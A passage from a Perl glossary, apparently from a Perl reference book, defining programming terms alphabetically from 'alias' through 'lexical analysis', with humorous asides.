A nickname for something, which behaves in all ways as though you'd used the original name instead of the nickname. Temporary aliases are implicitly created in the loop variable for foreach loops, in the $_ variable for map or grep operators, in $a and $b during sort's comparison function, and in each element of @_ for the actual arguments of a subroutine call. Permanent aliases are explicitly created in packages by importing symbols or by assignment to typeglobs. Lexically scoped aliases for package variables are explicitly created by the our declaration.

alternatives

A list of possible choices from which you may select only one, as in "Would you like door A, B, or C?" Alternatives in regular expressions are separated with a single vertical bar: |. Alternatives in normal Perl expressions are separated with a double vertical bar: ||. Logical alternatives in Boolean expressions are separated with either || or or.

anonymous

Used to describe a referent that is not directly accessible through a named variable. Such a referent must be indirectly accessible through at least one hard reference. When the last hard reference goes away, the anonymous referent is destroyed without pity.

architecture

The kind of compluter you're working on, where one "kind" of computer means all those computers sharing a compatible machine language. Since Perl programs are (typically) simple text files, not executable images, a Perl program is much less sensitive to the architecture it's running on than programs in other languages, such as C, that are compiled into machine code. See also platform and operating system.

argument

A piece of data supplied to a program, subroutine, function, or method to tell it what it's supposed to do. Also called a "parameter".

ARGV

The name of the array containing the argumentvector from the command line. If you use the empty <> operator, ARGV is the name of both the filehandle used to traverse the arguments and the scalar containing the name of the current input file.

arithmetical operator

A symbol such as + or / that tells Perl to do the arithmetic you were supposed to learn in grade school.

array

An ordered sequence of values, stored such that you can easily access any of the values using an integer subscript that specifies the value's offset in the sequence.

array context

An archaic expression for what is more correctly referred to as list context.

ASCII

The American Standard Code for Information Interchange (a 7-bit character set adequate only for poorly representing English text). Often used loosely to describe the lowest 128 values of the various ISO-8859-X character sets, a bunch of mutually incompatible 8-bit codes best described as half ASCII. See also Unicode.

assertion

A component of a regular expression that must be true for the pattern to match but does not necessarily match any characters itself. Often used specifically to mean a zero-width assertion.

assignment

An operator whose assigned mission in life is to change the value of a variable.

assignment operator

Either a regular assignment, or a compound operator composed of an ordinary assignment and some other operator, that changes the value of a variable in place, that is, relative to its old value. For example, $a += 2 adds 2 to $a.

associative array

See hash. Please.

associativity

Determines whether you do the left operator first or the right operator first when you have "A operator B operator C" and the two operators are of the same precedence. Operators like + are left associative, while operators like ** are right associative. See Chapter 3, "Unary and Binary Operators", for a list of operators and their associativity.

asynchronous

Said of events or activities whose relative temporal ordering is indeterminate because too many things are going on at once. Hence, an asynchronous event is one you didn't know when to expect.

atom

A regular expression component potentially matching a substring containing one or more characters and treated as an indivisible syntactic unit by any following quantifier. (Contrast with an assertion that matches something of zero width and may not be quantified.)

atomic operation

When Democritus gave the word "atom" to the indivisible bits of matter, he meant literally something that could not be cut: a- (not) + tomos (cuttable). An atomic operation is an action that can't be interrupted, not one forbidden in a nuclear-free zone.

attribute

A new feature that allows the declaration of variables and subroutines with modifiers as in sub foo : locked method. Also, another name for an instance variable of an object.

autogeneration

A feature of operator overloading of objects, whereby the behavior of certain operators can be reasonably deduced using more fundamental operators. This assumes that the overloaded operators will often have the same relationships as the regular operators. See Chapter 13, "Overloading".

autoincrement

To add one to something automatically, hence the name of the the ++ operator. To instead subtract one from something automatically is known as an "autodecrement".

autoload

To load on demand. (Also called "lazy" loading.) Specifically, to call an AUTOLOAD subroutine on behalf of an undefined subroutine.

autosplit

To split a string automatically, as the -a switch does when running under -p or -n in order to emulate awk. (See also the AutoSplit module, which has nothing to do with the -a switch, but a lot to do with autoloading.)

autovivification

A Greco-Roman word meaning "to bring oneself to life". In Perl, storage locations (lvalues) spontaneously generate themselves as needed, including the creation of any hard reference values to point to the next level of storage. The assignment $a[5][5][5][5][5] = "quintet" potentially creates five scalar storage locations, plus four references (in the first four scalar locations) pointing to four new anonymous arrays (to hold the last four scalar locations). But the point of autovivification is that you don't have to worry about it.

AV

Short for "array value", which refers to one of Perl's internal data types that holds an array. The AV type is a subclass of SV.

awk

Descriptive editing term--short for "awkward". Also coincidentally refers to a venerable text-processing language from which Perl derived some of its high-level ideas.

backreference

A substring captured by a subpattern within unadorned parentheses in a regex. Backslashed decimal numbers (\1, \2, etc.) later in the same pattern refer back to the corresponding subpattern in the current match. Outside the pattern, the numbered variables ($1, $2, etc.) continue to refer to these same values, as long as the pattern was the last successful match of the current dynamic scope.

backtracking

The practice of saying, "If I had to do it all over, I'd do it differently," and then actually going back and doing it all over differently. Mathematically speaking, it's returning from an unsuccessful recursion on a tree of possibilities. Perl backtracks when it attempts to match patterns with a regular expression, and its earlier attempts don't pan out. See "The Little Engine That /Could(n't)?/" in Chapter 5, "Pattern Matching".

backward compatibility

Means you can still run your old program because we didn't break any of the features or bugs it was relying on.

bareword

A word sufficiently ambiguous to be deemed illegal under use strict 'subs'. In the absence of that stricture, a bareword is treated as if quotes were around it.

base class

A generic object type; that is, a class from which other, more specific classes are derived genetically by inheritance. Also called a "superclass" by people who respect their ancestors.

big-endian

From Swift: someone who eats eggs big end first. Also used of computers that store the most significant byte of a word at a lower byte address than the least significant byte. Often considered superior to little-endian machines. See also little-endian.

binary

Having to do with numbers represented in base 2. That means there's basically two numbers, 0 and 1. Also used to describe a "non-text file", presumably because such a file makes full use of all the binary bits in its bytes. With the advent of Unicode, this distinction, already suspect, loses even more of its meaning.

binary operator

An operator that takes two operands.

bind

To assign a specific network address to a socket.

bit

An integer in the range from 0 to 1, inclusive. The smallest possible unit of information storage. An eighth of a byte or of a dollar. (The term "Pieces of Eight" comes from being able to split the old Spanish dollar into 8 bits, each of which still counted for money. That's why a 25-cent piece today is still "two bits".)

bit shift

The movement of bits left or right in a computer word, which has the effect of multiplying or dividing by a power of 2.

bit string

A sequence of bits that is actually being thought of as a sequence of bits, for once.

bless

In corporate life, to grant official approval to a thing, as in, "The VP of Engineering has blessed our WebCruncher project." Similarly in Perl, to grant official approval to a referent so that it can function as an object, such as a WebCruncher object. See the bless function in Chapter 29, "Functions".

block

What a process does when it has to wait for something: "My process blocked waiting for the disk." As an unrelated noun, it refers to a large chunk of data, of a size that the operating system likes to deal with (normally a power of two such as 512 or 8192). Typically refers to a chunk of data that's coming from or going to a disk file.

BLOCK

A syntactic construct consisting of a sequence of Perl statements that is delimited by braces. The if and while statements are defined in terms of BLOCKs, for instance. Sometimes we also say "block" to mean a lexical scope; that is, a sequence of statements that act like a BLOCK, such as within an eval or a file, even though the statements aren't delimited by braces.

block buffering

A method of making input and output efficient by passing one block at a time. By default, Perl does block buffering to disk files. See buffer and command buffering.

Boolean

A value that is either true or false.

Boolean context

A special kind of scalar context used in conditionals to decide whether the scalar value returned by an expression is true or false. Does not evaluate as either a string or a number. See context.

breakpoint

A spot in your program where you've told the debugger to stop execution so you can poke around and see whether anything is wrong yet.

broadcast

To send a datagram to multiple destinations simultaneously.

BSD

A psychoactive drug, popular in the 80s, probably developed at U. C. Berkeley or thereabouts. Similar in many ways to the prescription-only medication called "System V", but infinitely more useful. (Or, at least, more fun.) The full chemical name is "Berkeley Standard Distribution".

bucket

A location in a hash table containing (potentially) multiple entries whose keys "hash" to the same hash value according to its hash function. (As internal policy, you don't have to worry about it, unless you're into internals, or policy.)

buffer

A temporary holding location for data. Block buffering means that the data is passed on to its destination whenever the buffer is full. Line buffering means that it's passed on whenever a complete line is received. Command buffering means that it's passed every time you do a print command (or equivalent). If your output is unbuffered, the system processes it one byte at a time without the use of a holding area. This can be rather inefficient.

built-in

A function that is predefined in the language. Even when hidden by overriding, you can always get at a built-in function by qualifying its name with the CORE:: pseudo-package.

bundle

A group of related modules on CPAN. (Also, sometimes refers to a group of command-line switches grouped into one switch cluster.)

byte

A piece of data worth eight bits in most places.

bytecode

A pidgin-like language spoken among 'droids when they don't wish to reveal their orientation (see endian). Named after some similar languages spoken (for similar reasons) between compilers and interpreters in the late 20th century. These languages are characterized by representing everything as a non-architecture-dependent sequence of bytes.

C

A language beloved by many for its inside-out type definitions, inscrutable precedence rules, and heavy overloading of the function-call mechanism. (Well, actually, people first switched to C because they found lowercase identifiers easier to read than upper.) Perl is written in C, so it's not surprising that Perl borrowed a few ideas from it.

C preprocessor

The typical C compiler's first pass, which processes lines beginning with # for conditional compilation and macro definition and does various manipulations of the program text based on the current definitions. Also known as cpp(1).

call by reference

An argument-passing mechanism in which the formal arguments refer directly to the actual arguments, and the subroutine can change the actual arguments by changing the formal arguments. That is, the formal argument is an alias for the actual argument. See also call by value.

call by value

An argument-passing mechanism in which the formal arguments refer to a copy of the actual arguments, and the subroutine cannot change the actual arguments by changing the formal arguments. See also call by reference.

callback

A handler that you register with some other part of your program in the hope that the other part of your program will trigger your handler when some event of interest transpires.

canonical

Reduced to a standard form to facilitate comparison.

capturing

The use of parentheses around a subpattern in a regular expression to store the matched substring as a backreference. (Captured strings are also returned as a list in list context.)

character

A small integer representative of a unit of orthography. Historically, characters were usually stored as fixed-width integers (typically in a byte, or maybe two, depending on the character set), but with the advent of UTF-8, characters are often stored in a variable number of bytes depending on the size of the integer that represents the character. Perl manages this transparently for you, for the most part.

character class

A square-bracketed list of characters used in a regular expression to indicate that any character of the set may occur at a given point. Loosely, any predefined set of characters so used.

character property

A predefined character class matchable by the \p metasymbol. Many standard properties are defined for Unicode.

circumfix operator

An operator that surrounds its operand, like the angle operator, or parentheses, or a hug.

class

A user-defined type, implemented in Perl via a package that provides (either directly or by inheritance) methods (that is, subroutines) to handle instances of the class (its objects). See also inheritance.

class method

A method whose invocant is a package name, not an object reference. A method associated with the class as a whole.

client

In networking, a process that initiates contact with a server process in order to exchange data and perhaps receive a service.

cloister

A cluster used to restrict the scope of a regular expression modifier.

closure

An anonymous subroutine that, when a reference to it is generated at run time, keeps track of the identities of externally visible lexical variables even after those lexical variables have supposedly gone out of scope. They're called "closures" because this sort of behavior gives mathematicians a sense of closure.

cluster

A parenthesized subpattern used to group parts of a regular expression into a single atom.

CODE

The word returned by the ref function when you apply it to a reference to a subroutine. See also CV.

code generator

A system that writes code for you in a low-level language, such as code to implement the backend of a compiler. See program generator.

code subpattern

A regular expression subpattern whose real purpose is to execute some Perl code, for example, the (?{...}) and (??{...}) subpatterns.

collating sequence

The order into which characters sort. This is used by string comparison routines to decide, for example, where in this glossary to put "collating sequence".

command

In shell programming, the syntactic combination of a program name and its arguments. More loosely, anything you type to a shell (a command interpreter) that starts it doing something. Even more loosely, a Perl statement, which might start with a label and typically ends with a semicolon.

command buffering

A mechanism in Perl that lets you store up the output of each Perl command and then flush it out as a single request to the operating system. It's enabled by setting the $| ($AUTOFLUSH) variable to a true value. It's used when you don't want data sitting around not going where it's supposed to, which may happen because the default on a file or pipe is to use block buffering.

command name

T he name of the program currently executing, as typed on the command line. In C, the command name is passed to the program as the first command-line argument. In Perl, it comes in separately as $0.

command-line arguments

The values you supply along with a program name when you tell a shell to execute a command. These values are passed to a Perl program through @ARGV.

comment

A remark that doesn't affect the meaning of the program. In Perl, a comment is introduced by a # character and continues to the end of the line.

compilation unit

The file (or string, in the case of eval) that is currently being compiled.

compile phase

Any time before Perl starts running your main program. See also run phase. Compile phase is mostly spent in compile time, but may also be spent in run time when BEGIN blocks, use declarations, or constant subexpressions are being evaluated. The startup and import code of any use declaration is also run during compile phase.

compile time

The time when Perl is trying to make sense of your code, as opposed to when it thinks it knows what your code means and is merely trying to do what it thinks your code says to do, which is run time.

compiler

Strictly speaking, a program that munches up another program and spits out yet another file containing the program in a "more executable" form, typically containing native machine instructions. The perl program is not a compiler by this definition, but it does contain a kind of compiler that takes a program and turns it into a more executable form (syntax trees) within the perl process itself, which the interpreter then interprets. There are, however, extension modules to get Perl to act more like a "real" compiler. See Chapter 18, "Compiling".

composer

A "constructor" for a referent that isn't really an object, like an anonymous array or a hash (or a sonata, for that matter). For example, a pair of braces acts as a composer for a hash, and a pair of brackets acts as a composer for an array. See the section "Creating References" in Chapter 8, "References".

concatenation

The process of gluing one cat's nose to another cat's tail. Also, a similar operation on two strings.

conditional

Something "iffy". See Boolean context.

connection

In telephony, the temporary electrical circuit between the caller's and the callee's phone. In networking, the same kind of temporary circuit between a client and a server.

construct

As a noun, a piece of syntax made up of smaller pieces. As a transitive verb, to create an object using a constructor.

constructor

Any class method, instance method, or subroutine that composes, initializes, blesses, and returns an object. Sometimes we use the term loosely to mean a composer.

context

The surroundings, or environment. The context given by the surrounding code determines what kind of data a particular expression is expected to return. The three primary contexts are list context, scalar context, and void context. Scalar context is sometimes subdivided into Boolean context, numeric context, string context, and void context. There's also a "don't care" context (which is dealt with in Chapter 2, "Bits and Pieces", if you care).

continuation

The treatment of more than one physical line as a single logical line. Makefile lines are continued by putting a backslash before the newline. Mail headers as defined by RFC 822 are continued by putting a space or tab after the newline. In general, lines in Perl do not need any form of continuation mark, because whitespace (including newlines) is gleefully ignored. Usually.

core dump

The corpse of a process, in the form of a file left in the working directory of the process, usually as a result of certain kinds of fatal error.

CPAN

The Comprehensive Perl Archive Network. (See the Preface and Chapter 22, "CPAN", for details.)

cracker

Someone who breaks security on computer systems. A cracker may be a true hacker or only a script kiddie.

current package

The package in which the current statement is compiled. Scan backwards in the text of your program through the current lexical scope or any enclosing lexical scopes till you find a package declaration. That's your current package name.

current working directory

See working directory.

currently selected output channel

The last filehandle that was designated with select(FILEHANDLE); STDOUT, if no filehandle has been selected.

CV

An internal "code value" typedef, holding a subroutine. The CV type is a subclass of SV.

dangling statement

A bare, single statement, without any braces, hanging off an if or while conditional. C allows them. Perl doesn't.

data structure

How your various pieces of data relate to each other and what shape they make when you put them all together, as in a rectangular table or a triangular-shaped tree.

data type

A set of possible values, together with all the operations that know how to deal with those values. For example, a numeric data type has a certain set of numbers that you can work with and various mathematical operations that you can do on the numbers but would make little sense on, say, a string such as "Kilroy". Strings have their own operations, such as concatenation. Compound types made of a number of smaller pieces generally have operations to compose and decompose them, and perhaps to rearrange them. Objects that model things in the real world often have operations that correspond to real activities. For instance, if you model an elevator, your elevator object might have an open_door()method.

datagram

A packet of data, such as a UDP message, that (from the viewpoint of the programs involved) can be sent independently over the network. (In fact, all packets are sent independently at the IP level, but stream protocols such as TCP hide this from your program.)

DBM

Stands for "Data Base Management" routines, a set of routines that emulate an associative array using disk files. The routines use a dynamic hashing scheme to locate any entry with only two disk accesses. DBM files allow a Perl program to keep a persistent hash across multiple invocations. You can tie your hash variables to various DBM implementations--see AnyDBM_File(3) and the entry on DB_File in Chapter 32, "Standard Modules".

declaration

An assertion that states something exists and perhaps describes what it's like, without giving any commitment as to how or where you'll use it. A declaration is like the part of your recipe that says, "two cups flour, one large egg, four or five tadpoles..." See statement for its opposite. Note that some declarations also function as statements. Subroutine declarations also act as definitions if a body is supplied.

decrement

To subtract a value from a variable, as in "decrement $x" (meaning to remove 1 from its value) or "decrement $x by 3".

default

A value chosen for you if you don't supply a value of your own.

defined

Having a meaning. Perl thinks that some of the things people try to do are devoid of meaning, in particular, making use of variables that have never been given a value and performing certain operations on data that isn't there. For example, if you try to read data past the end of a file, Perl will hand you back an undefined value. See also false, and the defined operator in Chapter 29, "Functions".

delimiter

A character or string that sets bounds to an arbitrarily-sized textual object, not to be confused with a separator or terminator. "To delimit" really just means "to surround" or "to enclose" (like these parentheses are doing).

dereference

A fancy computer science term meaning "to follow a reference to what it points to". The "de" part of it refers to the fact that you're taking away one level of indirection.

derived class

A class that defines some of its methods in terms of a more generic class, called a base class. Note that classes aren't classified exclusively into base classes or derived classes: a class can function as both a derived class and a base class simultaneously, which is kind of classy.

descriptor

See file descriptor.

destroy

To deallocate the memory of a referent (first triggering its DESTROY method, if it has one).

destructor

A special method that is called when an object is thinking about destroying itself. A Perl program's DESTROY method doesn't do the actual destruction; Perl just triggers the method in case the class wants to do any associated cleanup.

device

A whiz-bang hardware gizmo (like a disk or tape drive or a modem or a joystick or a mouse) attached to your computer, that the operating system tries to make look like a file (or a bunch of files). Under Unix, these fake files tend to live in the /dev directory.

directive

A pod directive. See Chapter 26, "Plain Old Documentation".

directory

A special file that contains other files. Some operating systems call these "folders", "drawers", or "catalogs".

directory handle

A name that represents a particular instance of opening a directory to read it, until you close it. See the opendir function.

dispatch

To send something to its correct destination. Often used metaphorically to indicate a transfer of programmatic control to a destination selected algorithmically, often by lookup in a table of function references or, in the case of object methods, by traversing the inheritance tree looking for the most specific definition for the method.

distribution

A standard, bundled release of a system of software. The default usage implies source code is included. If that is not the case, it will be called a "binary-only" distribution.

dweomer

An enchantment, illusion, phantasm, or jugglery. Said when Perl's magical dwimmer effects don't do what you expect, but rather seem to be the product of arcane dweomercraft, sorcery, or wonder working. [From Old English]

dwimmer

DWIM is an acronym for "Do What I Mean", the principle that something should just do what you want it to do without an undue amount of fuss. A bit of code that does "dwimming" is a "dwimmer". Dwimming can require a great deal of behind-the-scenes magic, which (if it doesn't stay properly behind the scenes) is called a dweomer instead.

dynamic scoping

Dynamic scoping works over a dynamic scope, making variables visible throughout the rest of the block in which they are first used and in any subroutines that are called by the rest of the block. Dynamically scoped variables can have their values temporarily changed (and implicitly restored later) by a local operator. (Compare lexical scoping.) Used more loosely to mean how a subroutine that is in the middle of calling another subroutine "contains" that subroutine at run time.

eclectic

Derived from many sources. Some would say too many.

element

A basic building block. When you're talking about an array, it's one of the items that make up the array.

embedding

When something is contained in something else, particularly when that might be considered surprising: "I've embedded a complete Perl interpreter in my editor!"

empty subclass test

The notion that an empty derived class should behave exactly like its base class.

en passant

When you change a value as it is being copied. [From French, "in passing", as in the exotic pawn-capturing maneuver in chess.]

encapsulation

The veil of abstraction separating the interface from the implementation (whether enforced or not), which mandates that all access to an object's state be through methods alone.

endian

See little-endian and big-endian.

environment

The collective set of environment variables your process inherits from its parent. Accessed via %ENV.

environment variable

A mechanism by which some high-level agent such as a user can pass its preferences down to its future offspring (child processes, grandchild processes, great-grandchild processes, and so on). Each environment variable is a key/value pair, like one entry in a hash.

EOF

End of File. Sometimes used metaphorically as the terminating string of a here document.

errno

The error number returned by a syscall when it fails. Perl refers to the error by the name $! (or $OS_ERROR if you use the English module).

error

See exception or fatal error.

escape sequence

See metasymbol.

exception

A fancy term for an error. See fatal error.

exception handling

The way a program responds to an error. The exception handling mechanism in Perl is the eval operator.

exec

To throw away the current process's program and replace it with another without exiting the process or relinquishing any resources held (apart from the old memory image).

executable file

A file that is specially marked to tell the operating system that it's okay to run this file as a program. Usually shortened to "executable".

execute

To run a program or subroutine. (Has nothing to do with the kill built-in, unless you're trying to run a signal handler.)

execute bit

The special mark that tells the operating system it can run this program. There are actually three execute bits under Unix, and which bit gets used depends on whether you own the file singularly, collectively, or not at all.

exit status

See status.

export

To make symbols from a module available for import by other modules.

expression

Anything you can legally say in a spot where a value is required. Typically composed of literals, variables, operators, functions, and subroutine calls, not necessarily in that order.

extension

A Perl module that also pulls in compiled C or C++ code. More generally, any experimental option that can be compiled into Perl, such as multithreading.

false

In Perl, any value that would look like "" or "0" if evaluated in a string context. Since undefined values evaluate to "", all undefined values are false, but not all false values are undefined.

FAQ

Frequently Asked Question (although not necessarily frequently answered, especially if the answer appears in the Perl FAQ shipped standard with Perl).

fatal error

An uncaught exception, which causes termination of the process after printing a message on your standard error stream. Errors that happen inside an eval are not fatal. Instead, the eval terminates after placing the exception message in the $@ ($EVAL_ERROR) variable. You can try to provoke a fatal error with the die operator (known as throwing or raising an exception), but this may be caught by a dynamically enclosing eval. If not caught, the die becomes a fatal error.

field

A single piece of numeric or string data that is part of a longer string, record, or line. Variable-width fields are usually split up by separators (so use split to extract the fields), while fixed-width fields are usually at fixed positions (so use unpack). Instance variables are also known as "fields".

FIFO

First In, First Out. See also LIFO. Also, a nickname for a named pipe.

file

A named collection of data, usually stored on disk in a directory in a filesystem. Roughly like a document, if you're into office metaphors. In modern filesystems, you can actually give a file more than one name. Some files have special properties, like directories and devices.

file descriptor

The little number the operating system uses to keep track of which opened file you're talking about. Perl hides the file descriptor inside a standard I/O stream and then attaches the stream to a filehandle.

file test operator

A built-in unary operator that you use to determine whether something is true about a file, such as -o $filename to test whether you're the owner of the file.

fileglob

A "wildcard" match on filenames. See the glob function.

filehandle

An identifier (not necessarily related to the real name of a file) that represents a particular instance of opening a file until you close it. If you're going to open and close several different files in succession, it's fine to open each of them with the same filehandle, so you don't have to write out separate code to process each file.

filename

One name for a file. This name is listed in a directory, and you can use it in an open to tell the operating system exactly which file you want to open, and associate the file with a filehandle which will carry the subsequent identity of that file in your program, until you close it.

filesystem

A set of directories and files residing on a partition of the disk. Sometimes known as a "partition". You can change the file's name or even move a file around from directory to directory within a filesystem without actually moving the file itself, at least under Unix.

filter

A program designed to take a stream of input and transform it into a stream of output.

flag

We tend to avoid this term because it means so many things. It may mean a command-line switch that takes no argument itself (such as Perl's -n and -p flags) or, less frequently, a single-bit indicator (such as the O_CREAT and O_EXCL flags used in sysopen).

floating point

A method of storing numbers in "scientific notation", such that the precision of the number is independent of its magnitude (the decimal point "floats"). Perl does its numeric work with floating-point numbers (sometimes called "floats"), when it can't get away with using integers. Floating-point numbers are mere approximations of real numbers.

flush

The act of emptying a buffer, often before it's full.

FMTEYEWTK

Far More Than Everything You Ever Wanted To Know. An exhaustive treatise on one narrow topic, something of a super-FAQ. See Tom for far more.

fork

To create a child process identical to the parent process at its moment of conception, at least until it gets ideas of its own. A thread with protected memory.

formal arguments

The generic names by which a subroutine knows its arguments. In many languages, formal arguments are always given individual names, but in Perl, the formal arguments are just the elements of an array. The formal arguments to a Perl program are $ARGV[0], $ARGV[1], and so on. Similarly, the formal arguments to a Perl subroutine are $_[0], $_[1], and so on. You may give the arguments individual names by assigning the values to a my list. See also actual arguments.

format

A specification of how many spaces and digits and things to put somewhere so that whatever you're printing comes out nice and pretty.

freely available

Means you don't have to pay money to get it, but the copyright on it may still belong to someone else (like Larry).

freely redistributable

Means you're not in legal trouble if you give a bootleg copy of it to your friends and we find out about it. In fact, we'd rather you gave a copy to all your friends.

freeware

Historically, any software that you give away, particularly if you make the source code available as well. Now often called open source software. Recently there has been a trend to use the term in contradistinction to open source software, to refer only to free software released under the Free Software Foundation's GPL (General Public License), but this is difficult to justify etymologically.

function

Mathematically, a mapping of each of a set of input values to a particular output value. In computers, refers to a subroutine or operator that returns a value. It may or may not have input values (called arguments).

funny character

Someone like Larry, or one of his peculiar friends. Also refers to the strange prefixes that Perl requires as noun markers on its variables.

garbage collection

A misnamed feature--it should be called, "expecting your mother to pick up after you". Strictly speaking, Perl doesn't do this, but it relies on a reference-counting mechanism to keep things tidy. However, we rarely speak strictly and will often refer to the reference-counting scheme as a form of garbage collection. (If it's any comfort, when your interpreter exits, a "real" garbage collector runs to make sure everything is cleaned up if you've been messy with circular references and such.)

GID

Group ID--in Unix, the numeric group ID that the operating system uses to identify you and members of your group.

glob

Strictly, the shell's * character, which will match a "glob" of characters when you're trying to generate a list of filenames. Loosely, the act of using globs and similar symbols to do pattern matching. See also fileglob and typeglob.

global

Something you can see from anywhere, usually used of variables and subroutines that are visible everywhere in your program. In Perl, only certain special variables are truly global--most variables (and all subroutines) exist only in the current package. Global variables can be declared with our. See "Global Declarations" in Chapter 4, "Statements and Declarations".

global destruction

The garbage collection of globals (and the running of any associated object destructors) that takes place when a Perl interpreter is being shut down. Global destruction should not be confused with the Apocalypse, except perhaps when it should.

glue language

A language such as Perl that is good at hooking things together that weren't intended to be hooked together.

granularity

The size of the pieces you're dealing with, mentally speaking.

greedy

A subpattern whose quantifier wants to match as many things as possible.

grep

Originally from the old Unix editor command for "Globally search for a Regular Expression and Print it", now used in the general sense of any kind of search, especially text searches. Perl has a built-in grep function that searches a list for elements matching any given criterion, whereas the grep(1) program searches for lines matching a regular expression in one or more files.

group

A set of users of which you are a member. In some operating systems (like Unix), you can give certain file access permissions to other members of your group.

GV

An internal "glob value" typedef, holding a typeglob. The GV type is a subclass of SV.

hacker

Someone who is brilliantly persistent in solving technical problems, whether these involve golfing, fighting orcs, or programming. Hacker is a neutral term, morally speaking. Good hackers are not to be confused with evil crackers or clueless script kiddies. If you confuse them, we will presume that you are either evil or clueless.

handler

A subroutine or method that is called by Perl when your program needs to respond to some internal event, such as a signal, or an encounter with an operator subject to operator overloading. See also callback.

hard reference

A scalarvalue containing the actual address of a referent, such that the referent's reference count accounts for it. (Some hard references are held internally, such as the implicit reference from one of a typeglob's variable slots to its corresponding referent.) A hard reference is different from a symbolic reference.

hash

An unordered association of key/value pairs, stored such that you can easily use a string key to look up its associated data value. This glossary is like a hash, where the word to be defined is the key, and the definition is the value. A hash is also sometimes septisyllabically called an "associative array", which is a pretty good reason for simply calling it a "hash" instead.

hash table

A data structure used internally by Perl for implementing associative arrays (hashes) efficiently. See also bucket.

header file

A file containing certain required definitions that you must include "ahead" of the rest of your program to do certain obscure operations. A C header file has a .h extension. Perl doesn't really have header files, though historically Perl has sometimes used translated .h files with a .ph extension. See require in Chapter 29, "Functions". (Header files have been superseded by the module mechanism.)

here document

So called because of a similar construct in shells that pretends that the lines following the command are a separate file to be fed to the command, up to some terminating string. In Perl, however, it's just a fancy form of quoting.

hexadecimal

A number in base 16, "hex" for short. The digits for 10 through 16 are customarily represented by the letters a through f. Hexadecimal constants in Perl start with 0x. See also the hex function in Chapter 29, "Functions".

home directory

The directory you are put into when you log in. On a Unix system, the name is often placed into $ENV{HOME} or $ENV{LOGDIR} by login, but you can also find it with (getpwuid($<))[7]. (Some platforms do not have a concept of a home directory.)

host

The computer on which a program or other data resides.

hubris

Excessive pride, the sort of thing Zeus zaps you for. Also the quality that makes you write (and maintain) programs that other people won't want to say bad things about. Hence, the third great virtue of a programmer. See also laziness and impatience.

HV

Short for a "hash value" typedef, which holds Perl's internal representation of a hash. The HV type is a subclass of SV.

identifier

A legally formed name for most anything in which a computer program might be interested. Many languages (including Perl) allow identifiers that start with a letter and contain letters and digits. Perl also counts the underscore character as a valid letter. (Perl also has more complicated names, such as qualified names.)

impatience

The anger you feel when the computer is being lazy. This makes you write programs that don't just react to your needs, but actually anticipate them. Or at least that pretend to. Hence, the second great virtue of a programmer. See also laziness and hubris.

implementation

How a piece of code actually goes about doing its job. Users of the code should not count on implementation details staying the same unless they are part of the published interface.

import

To gain access to symbols that are exported from another module. See use in Chapter 29, "Functions".

increment

To increase the value of something by 1 (or by some other number, if so specified).

indexing

In olden days, the act of looking up a key in an actual index (such as a phone book), but now merely the act of using any kind of key or position to find the corresponding value, even if no index is involved. Things have degenerated to the point that Perl's index function merely locates the position (index) of one string in another.

indirect filehandle

An expression that evaluates to something that can be used as a filehandle: a string (filehandle name), a typeglob, a typeglob reference, or a low-level IO object.

indirect object

In English grammar, a short noun phrase between a verb and its direct object indicating the beneficiary or recipient of the action. In Perl, print STDOUT "$foo\n"; can be understood as "verb indirect-object object" where STDOUT is the recipient of the print action, and "$foo" is the object being printed. Similarly, when invoking a method, you might place the invocant between the method and its arguments:

$gollum=newPathetic::Creature"Smeagol";
give $gollum "Fisssssh!";
give $gollum "Precious!";

indirect object slot

The syntactic position falling between a method call and its arguments when using the indirect object invocation syntax. (The slot is distinguished by the absence of a comma between it and the next argument.) STDERR is in the indirect object slot here:

print STDERR "Awake!  Awake!  Fear, Fire,
    Foes!  Awake!\n";

indirection

If something in a program isn't the value you're looking for but indicates where the value is, that's indirection. This can be done with either symbolic references or hard references.

infix

An operator that comes in between its operands, such as multiplication in 24 * 7.

inheritance

What you get from your ancestors, genetically or otherwise. If you happen to be a class, your ancestors are called base classes and your descendants are called derived classes. See single inheritance and multiple inheritance.

instance

Short for "an instance of a class", meaning an object of that class.

instance variable

An attribute of an object; data stored with the particular object rather than with the class as a whole.

integer

A number with no fractional (decimal) part. A counting number, like 1, 2, 3, and so on, but including 0 and the negatives.

interface

The services a piece of code promises to provide forever, in contrast to its implementation, which it should feel free to change whenever it likes.

interpolation

The insertion of a scalar or list value somewhere in the middle of another value, such that it appears to have been there all along. In Perl, variable interpolation happens in double-quoted strings and patterns, and list interpolation occurs when constructing the list of values to pass to a list operator or other such construct that takes a LIST.

interpreter

Strictly speaking, a program that reads a second program and does what the second program says directly without turning the program into a different form first, which is what compilers do. Perl is not an interpreter by this definition, because it contains a kind of compiler that takes a program and turns it into a more executable form (syntax trees) within the perl process itself, which the Perl run-time system then interprets.

invocant

The agent on whose behalf a method is invoked. In a class method, the invocant is a package name. In an instance method, the invocant is an object reference.

invocation

The act of calling up a deity, daemon, program, method, subroutine, or function to get it do what you think it's supposed to do. We usually "call" subroutines but "invoke" methods, since it sounds cooler.

I/O

Input from, or output to, a file or device.

IO

An internal I/O object. Can also mean indirect object.

IP

Internet Protocol, or Intellectual Property.

IPC

Interprocess Communication.

is-a

A relationship between two objects in which one object is considered to be a more specific version of the other, generic object: "A camel is a mammal." Since the generic object really only exists in a Platonic sense, we usually add a little abstraction to the notion of objects and think of the relationship as being between a generic base class and a specific derived class. Oddly enough, Platonic classes don't always have Platonic relationships--see inheritance.

iteration

Doing something repeatedly.

iterator

A special programming gizmo that keeps track of where you are in something that you're trying to iterate over. The foreach loop in Perl contains an iterator; so does a hash, allowing you to each through it.

IV

The integer four, not to be confused with six, Tom's favorite editor. IV also means an internal Integer Value of the type a scalar can hold, not to be confused with an NV.

JAPH

"Just Another Perl Hacker," a clever but cryptic bit of Perl code that when executed, evaluates to that string. Often used to illustrate a particular Perl feature, and something of an ungoing Obfuscated Perl Contest seen in Usenix signatures.

key

The string index to a hash, used to look up the value associated with that key.

keyword

See reserved words.

label

A name you give to a statement so that you can talk about that statement elsewhere in the program.

laziness

The quality that makes you go to great effort to reduce overall energy expenditure. It makes you write labor-saving programs that other people will find useful, and document what you wrote so you don't have to answer so many questions about it. Hence, the first great virtue of a programmer. Also hence, this book. See also impatience and hubris.

left shift

A bit shift that multiplies the number by some power of 2.

leftmost longest

The preference of the regular expression engine to match the leftmost occurrence of a pattern, then given a position at which a match will occur, the preference for the longest match (presuming the use of a greedy quantifier). See Chapter 5, "Pattern Matching" for much more on this subject.

lexeme

Fancy term for a token.

lexer

Fancy term for a tokener.

lexical analysis

Fancy term for tokenizing.

